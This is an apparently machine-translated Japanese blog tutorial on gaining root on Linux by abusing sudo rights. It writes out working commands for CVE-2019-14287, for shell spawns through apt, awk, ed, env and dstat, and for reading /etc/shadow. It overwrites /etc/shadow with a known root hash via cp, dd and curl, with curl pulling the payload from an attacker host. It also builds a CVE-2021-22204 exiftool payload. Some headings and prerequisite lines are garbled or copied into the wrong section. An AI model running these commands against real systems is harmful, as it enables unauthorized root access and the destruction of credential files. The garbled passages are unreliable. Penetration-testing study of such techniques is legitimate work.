ペネトレーションテスト:Linuxの権限昇格講座(1) sudoメソッド フェーズ1

目次

初めに書きます

CVE-2019-14287

sudo aptとsudo apt-get

sudo apache2

須藤アッシュ

須藤君

sudobase32/58/64/nc/z

sudo cp

sudo cplimit

須藤カール

須藤日付

須藤DD

南のdstat 

須藤編

sudo環境

sudo exiftools

まとめと考察

初めに書きます

 侵入テストを実行して最初の足場のシェルを取得した後、通常は sudo -l を実行して現在のユーザーの権限を確認します。システム内の既存の実行可能ファイルの権限を使用して権限昇格を実現できます。権限昇格の本質は、特定の特別な構成/脆弱性により、低い権限を持つユーザーが高い権限を持つコマンド/ツール/スクリプトを使用して、高い権限で操作を実行できることですLinux システムの権限を昇格するには、passwd またはシャドウ ファイルの使用、自動タスク エスカレーション、SUID 権限の昇格、カーネルの脆弱性の昇格、サードパーティ ツールの権限の昇格、sudo 権限の昇格など、さまざまな方法があります。 sudo 権限の昇格方法エスカレーション。これらの方法の概要と分類については、この記事の最後にある概要と考察で詳しく説明します。

この記事では、レッドチームノートの説明に基づいて、Linux システムターゲットマシンの sudo 権限昇格方法を簡単にまとめます。レッドチームノートボスの最初のビデオリンクは次のとおりです。

Linux 特権昇格に関する「レッド チーム ノート」レクチャー: Sudo Storm - Sudo Storm のパート 1 では、修道士レベルの考え方で、特権昇格テクノロジを学習しながら、Linux カーネルについての深い理解を磨きます。ペネトレーションテストの本。_哔哩哔哩_bilibili

現在のユーザーの権限を表示します。

sudo -l

tty を使用せずに次のようなプロンプトが表示される場合は、シェルの相互作用が不十分であることが原因である可能性があります。

 Python を介してシェルをマップして、対話性を強化できます。

python -c "import pty;pty.spawn('/bin/bash')"

 現時点では、sudo -l を実行すると権限を昇格できるはずですが、現在のユーザーのパスワードを入力する必要がある場合があります。

一般的な権限昇格メソッドを導入するオープン ソース プロジェクト GTFOBins があります。この記事で説明されている sudo 権限昇格メソッドのほとんどは、このプロジェクトでも検索できます。詳細については、GTFOBins を参照してください

 find コマンドを検索するなど、対応する権限昇格方法を検索できます。

 対応する権限昇格操作を直接見つけることができ、他のコマンドの検索方法も同様です。

 本題に入り、sudo 権限を持つ実行可能ファイル (コマンド) に基づく権限昇格操作を紹介します。

CVE-2019-14287

悪用の前提条件

1. Sudo バージョンの要件: この脆弱性は、1.8.28 より前の sudo バージョンを対象としています。sudo のバージョンを確認するコマンドは次のとおりです。

sudo -V |grep version

2. sudo -l を実行した後、現在のユーザーはパスワードなしで他の非 root ユーザーに切り替えることができます。つまり、次のとおりです。

(ALL、!root) NOPASSWD: /bin/bash

権限昇格

sudo -u#-1 /bin/bash

エスカレーション原則

通常、他のユーザーのシェルを切り替えるために使用できるコマンドは次のとおりです (次の 2 行は、ID が 1001 の Bossfrank ユーザーに切り替えることを想定しており、/etc/passwd ファイルで確認できます)。

sudo -u bossfrank /bin/bash
sudo -u#1001 /bin/bash

sudo バージョンが 1.8.28 より前の場合、ユーザー ID -1 は sudo によって 0、つまり root として解釈され、その結果権限が昇格されます。

sudo aptとsudo apt-get

悪用の前提条件 

現在のユーザーは、sudo 高度な権限で apt コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/apt

詳細については、 「apt | GTFOBins」を参照してください。

権限昇格

sudo apt の場合:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

sudo apt-get に対して

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

  このうち、-oはaptのオプションを指定し、APT::Update::Pre-Invoke::=/bin/shはaptの前処理オプション、コロンの役割は名前空間です。このオプションは、段階的にアクセスされる前処理ディレクティブであり、最後に実行されて bash セッションが開始されます。

sudo apache2

悪用の前提条件 

現在のユーザーは、sudo 高度な権限で apt コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/sbin/apache2

操作方法

sudo apache2 -f /etc/shadow

このうち、-fはapache2の設定ファイルを指定するために使用し、パスワードハッシュが格納されているファイル/etc/shadowを指定します。実行中に、指定された設定ファイルの問題により必ずエラーが発生しますが、エラーが報告されると、/etc/shadow ファイルの最初の行が公開され、使用できるようになります。エラーメッセージは次のとおりです。

/etc/shadow の 1 行目に構文エラーがあります:

無効なコマンド「root:$6$TB/euwMK$0XA....:::」。おそらくスペルが間違っているか、サーバー構成に含まれていないモジュールによって定義されています。

 このようにして、root アカウント $6$TB/euwMK$0XA のパスワードをハッシュ化します.... (ここでのハッシュは単なるヒントです) 辞書を見つけて解読すると、パスワードを取得することができます。たとえば、パスワード ハッシュに「passwordhash」という名前を付け、john を使用して Kali でそれをクラックできます。

john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt

 解読できれば、このパスワードを認証情報として使用して権限を昇格させることができますが、脆弱なパスワードでなければ解読することは困難です。

須藤アッシュ

悪用の前提条件 

現在のユーザーは、sudo 高度な権限で ash コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/ash

詳細については、 ash | GTFOBins を参照してください。

操作方法 

sudo ash
bash

sudo ash を直接実行して権限を昇格する本質的に、ash はシェルを開始するコマンドです。高い権限で起動できるため、直接権限を昇格するのと同じで、コマンド bash を使用してセッションを開き、シェルの対話性を向上させます。ここで重要なのは、ash がシェル環境であることを認識することです同様に、bash/csh/zsh/sh/tclsh/dash などがあり、これらはすべてシェル環境です。

須藤君

悪用の前提条件 

現在のユーザーは、sudo 高度な権限で ash コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/awk

  詳細については、awk | GTFOBins を参照してください。

操作方法 

sudo awk 'BEGIN {system("/bin/sh")}'

 Awk は一般的に使用されるテキスト処理ツールの 1 つです。上記のコマンドの一重引用符で囲まれた内容は awk ツールに渡されるスクリプトであり、BEGIN は awk ツールの特別なモードであり、テキスト処理ツールを処理する前に実行されるアクションを意味します。中かっこ {} を使用します。 awk: system コマンドで指定される操作を追加しました - 特権昇格を実現するためにシェル環境を開始します。

sudobase32/58/64/nc/z

悪用の前提条件 

現在のユーザーは、sudo 権限でbase32/58/64/nc/z コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます (ここでは、base4 を例として取り上げます)。

(ルート) NOPASSWD: /usr/bin/base64

詳細については、 「base64 | GTFOBins」を参照してください。 

操作方法

bossfrank=/etc/shadow
sudo base64 "$bossfrank" | base64 -d

 エンコードには Base64 が使用され、高い権限を持つユーザーのみが読み取ることができるファイルは sudo 権限で読み取ることができます。Base64 ツールの権限を使用して、機密ファイルをエンコードおよびデコードし、結果を読み取る (つまり、元のファイルを読み取る) ことができます。この方法を使用すると、元のシャドウ ファイルを読み取り、root ユーザーのハッシュに対して辞書衝突クラッキングを実行し、クラッキングに成功すると権限を昇格させることができます。(base64/58/32/nc/z も同様の方法で悪用されます)

sudo cp

悪用の前提条件

現在のユーザーは、sudo 拡張権限で copy cp コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/cp

詳細については、 「cp | GTFOBins」を参照してください。

操作方法 

 重要なアイデアは、コピーの高い権限を使用することです。自分でシャドウ ファイルを書き込み、コピー操作によって元のシャドウ ファイルを上書きすることで、root アカウントのパスワードを変更し、新しいパスワードを使用して権限を昇格できます。

詳細については「cp | GTFOBins」を参照してください。具体的な操作は次のとおりです。

 まず、mkpasswd を使用して sha-512 暗号化 (/etc/shadow のパスワードの暗号化方式) 暗号文を生成します。root アカウントのパスワードを 123456 に変更しようとします。そのため、コマンドは次のとおりです。

mkpasswd -m sha-512 123456

暗号化された結果は次のようになります。

$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx。

 通常の状況でのシャドウの形式を確認するには、kali の /etc/shadow を表示します。

cat /etc/shadow | grep root 

 この形式に従って、次のような文字列を作成できます。これにより、ターゲット マシンの /etc/shadow ファイルがコピーされて上書きされます。

root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

 次に、ターゲット マシンで次の操作を実行します。

まず、/etc/shadow を指すように環境変数を宣言します。

bossfrank=/etc/shadow

次に、mktemp で生成された一時ファイルを指す、TF という名前の変数を生成します。

TF=$(mktemp)

次に、生成したばかりのシャドウ レコード (つまり、root アカウントのパスワードは 123456) を TF 変数に書き込みます。

echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF

余談ですが、この時点で TF 変数の内容を表示し、TF を出力 (echo $TF) して確認できます。

/tmp/tmp.Rmzxhak

 この一時ファイル (cat /tmp/tmp.Rmzxhak) を見てください。これが先ほど作成したシャドウ レコードです。


最後に、重要なステップは、sudo の cp copy コマンドを使用してシャドウ レコードを /etc/shadow にコピーし、上書き操作を実現することです。

sudo /usr/bin/cp $TF $bossfrank

 パスワード 123456 を使用して権限を昇格するだけです。

 この操作はターゲット マシンに悪影響を及ぼすため、特に注意してください。元の /etc/shadow は上書きされ、root を含む情報のみが保持されますしたがって、この権限昇格操作の優先順位は高くないため、操作の前に元の /etc/shadow ファイルをバックアップすることをお勧めします。一時変数 $TF を使用する操作は GTFOBins の推奨操作であり、複雑に見えますが、一時変数と一時ファイルを使用する方法は、実際の攻撃と防御において機能を隠蔽したり、痕跡を自動的にクリアしたりする上で非常に意味があります単に自分の権利を昇格したい場合は、この方法をスキップできます。

sudo cplimit

悪用の前提条件

現在のユーザーは、sudo 拡張権限で cpulimit コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/cpulimit

詳細については、 cplimit | GTFOBinsを参照してください。

権限昇格

sudo cpulimit -l 100 -f /bin/bash

 このうち、-l 100はCPUの使用率を制限(指定)するためのもので、ここでは100%ですが、-fパラメータは、-lで指定した使用率でCPUを占有する特定のプログラムを実行することを意味します。 cpulimit には sudo 権限があるため、ここで実行されるプログラムは /bash を起動するため、権限を直接昇格できます。

須藤カール

悪用の前提条件

現在のユーザーは、sudo 権限でcurlコマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/curl

詳細については、 curl | GTFOBins を参照してください。

操作方法 

 この操作の基本的な考え方は、sudo cp セクションの考え方と似ており、システムの /etc/shadow ファイルを上書きして root パスワードを変更し、権限昇格の目的を達成するというものです。シャドウ フォーマットを生成する操作については、sudo cp セクションを参照してください。ここでは、123456 の sha-512 で暗号化されたシャドウ フォーマット文字列が、ペイロードであるファイルshadow_entryとして保存されます。

 kali で http サービスを開始し、この悪意のあるペイロードを保存するサイトをセットアップします。

php -S 0:80 

 次に、ターゲット マシンの sudocurl を介して kali 上のペイロード (shadow_entry) にアクセスし、結果を /etc/shadow に出力します。これにより、ターゲット マシンの元の /etc/shadow ファイルが上書きされ、root アカウントのパスワードが認識されます。修正します

sudo curl http://kali的ip/shadow_entry -o /etc/shadow

-o パラメータを使用して結果をファイルに出力し、エスカレーションしてパスワードを入力するだけです。この方法は、元の /etc/shadow をカバーするため、ターゲット マシンのシステムにもダメージを与えます。

須藤日付

悪用の前提条件 

現在のユーザーは、sudo 高度な権限で date コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/date

操作方法

sudo date コマンドの権限昇格操作は、sudo apache2 の操作と似ています。

sudo date -f /etc/shadow

ここで、-f は日付を読み取るパスを指定するために使用されます。日付の sudo 権限を使用して、/etc/shadow から日付を読み取ります。/etc/shadow には日付情報がないため、エラーが報告されますが、/etc/shadow の内容はエラー レポートに表示されます。 :

 次に、ハッシュ衝突を実行します。

須藤DD

 悪用の前提条件

現在のユーザーは、sudo 高度な権限で dd コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/dd

詳細については、 「dd | GTFOBins」を参照してください。

操作方法

dd コマンドは、元のコマンドをコピーして変換できるコマンド ライン ツールで、エンコードの変換やファイルの生成などに使用できます。 

この権限昇格方法は前述の sudo cp や sudocurl と似ており、どちらも /etc/shadow ファイルを上書きすることで、上書き後に自分で設定したパスワードでログインします。まず、シャドウの形式で文字列を作成し、パスワードを 123456 に設定します (詳細については sudo cp を参照してください)。

root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

 次のコマンドを実行して、ターゲット マシン上の /etc/shadow ファイルを上書きします。

echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow

of パラメータはファイルの出力に使用されます。ここでは /etc/shadow に設定されており、ターゲット マシンの /etc/shadow のカバレッジを実現するために、構築したペイロードは /etc/shadow に出力されます。同様に、これもターゲット マシンに有害なので、最初に元の /etc/shadow をバックアップすることをお勧めします。

南のdstat 

悪用の前提条件

現在のユーザーは、sudo 高度な権限で dstat コマンドを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/dstat

詳細については、 「dstat | GTFOBins」を参照してください。

権限昇格

 この操作のコア ロジックは、dstat コマンドでプラグインを指定できるということです。プラグイン ディレクトリに権限昇格用の exp スクリプトを記述し、sudo が dstat を実行するときにこのプラグイン スクリプトを指定して権限昇格を実現できます。 。dstat のプラグイン ディレクトリは通常、/usr/local/share/dstat または /usr/share/dstat にあります。最初に find コマンドを使用して、どのディレクトリであるかを確認できます。

find / -name dstat -type f 2>/dev/null

 ここでは、プラグイン ディレクトリが /usr/share/dstat であると仮定し、Python 権限昇格スクリプト (プラグイン) dstat_exp.py をこのディレクトリに記述します。

import os; os.execv("/bin/sh", ["sh"])

もちろん、指定したディレクトリに直接エコーすることもできます。

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py

次に、sudo が dstat を実行するときに、プラグイン名 exp を指定して権限を昇格させます。

sudo dstat --exp

ここでのプラグインのスクリプト名は dstat_exp.py ですが、プラグイン名を指定するときに exp が入力されることに注意してください。

須藤編

悪用の前提条件

現在のユーザーは、sudo の高度な権限を使用してテキスト エディタを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/ed

詳細については、 「ed | GTFOBins」を参照してください。

権限昇格

sudo を使用して ed を直接実行してテキスト編集インターフェイスに入り、次のように入力します。

!/bin/bash

 右を直接上げることができます。感嘆符! システムコマンドの実行を示します。実行するシステムコマンドは/bin/bash、つまりbashを起動するものですが、ed自体はsudoで実行するのでrootのbashを起動して権限昇格を実現します。

sudo環境

 現在のユーザーは、sudo の高度な権限を使用してテキスト エディタを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/ed

詳細については、 env | GTFOBinsを参照してください。

権限昇格

sudo に env を実行して /bin/bash を実行するように指示します。

sudo env /bin/sh

envは通常環境変数に関するパラメータを設定するために使用されますが、ここでコマンドを実行したり、bashを直接起動することで権限を上げることもできます。

sudo exiftools

悪用の前提条件

現在のユーザーは、sudo の高度な権限を使用してテキスト エディタを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。

(ルート) NOPASSWD: /usr/bin/exiftool

exiftool のバージョンは 7.44 ~ 12.23 の範囲にあり、exiftool -ver でバージョンを確認できます。

詳細については、exiftool | GTFOBinsを参照してください。これは実際には exiftool (CVE-2021-22204) に関連する脆弱性です。詳細な脆弱性ソース コードについては、ExifTool 12.23 - 任意のコード実行 - Linux ローカル エクスプロイト (exploit-db.com)を参照してください。

権限昇格

レッドチームノートのボスの悪用方法は次のとおりです。上記の脆弱性のソースコードで提案されているロジックに従うだけです。

まずペイロードを構築し、その中にソース データを書き込み、システム シェルを起動します。

echo  "(metadata \"\c${system('/bin/bash')};\")" > payload

または、vi ペイロードを直接編集します。

(metadata "\c${system('/bin/bash')};")

次に、bzz ツールを使用して圧縮します。

bzz payload payload.bzz

エクスプロイト ファイルに従って、djvumake ツールを使用してエクスプロイト ファイル Exploit.djvu を生成します。djvu は画像ファイルの圧縮形式で、主にドキュメントや電子書籍形式のスキャンに使用されます。

djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

権限昇格コマンド:

sudo exiftool exploit.djvu

これを実行して権限を昇格します。

まとめと考察

 この記事では、15 の一般的な sudo 権限昇格方法を紹介します。これは主にシステム構成の欠陥を利用し、低い権限のユーザー (最初のターゲット マシン シェル) がシークレットなしで root 権限の sudo で高い権限のコマンドを実行できるようにします。この記事の導入を通じて、読者が権限昇格の本質をより直観的に理解できることを願っています。つまり、権限の低いユーザーが何らかの理由 (構成/脆弱性) で権限の高い命令/ツール/スクリプトを実行できるということです。結局、この記事では権利を上げる15の方法を分類してまとめてみることにしました。

関連する脆弱性: CVE-2019-14287 、 CVE-2021-22204 (sudo exiftools)

機密ファイルを直接読み取ります: sudobase32/58/64/nc/z

実行可能なシステムコマンド: sudo apt/apt-get 、 sudo awk 、 sudo cpulimit 、 sudo dstat 、 sudo ed 、 sudo env

誤って設定されたエラー メッセージによる機密ファイルの読み取り: sudo apache2 、 sudo date

bash を直接実行します: sudo bash/ash/zsh/sh/dash/tclsh など。

システムに依存する設定はオーバーライドできます: sudo cp、sudo dd、sudocurl 

 このブログはここにあります。要約するのは本当に簡単ではありません。読者は「いいね」、フォロー、サポートを歓迎しますこの記事で説明されているすべての権限昇格方法を実践したわけではないため、これほど多くの状況に遭遇するには、長期にわたる侵入テストと練習が必要になる可能性があります。今後も Linux の権限昇格に関する手法をまとめて、ターゲットを絞って書いていきたいと思いますので、読者の皆様のご支援をお待ちしております。

 

 

おすすめ

転載: blog.csdn.net/Bossfrank/article/details/131941306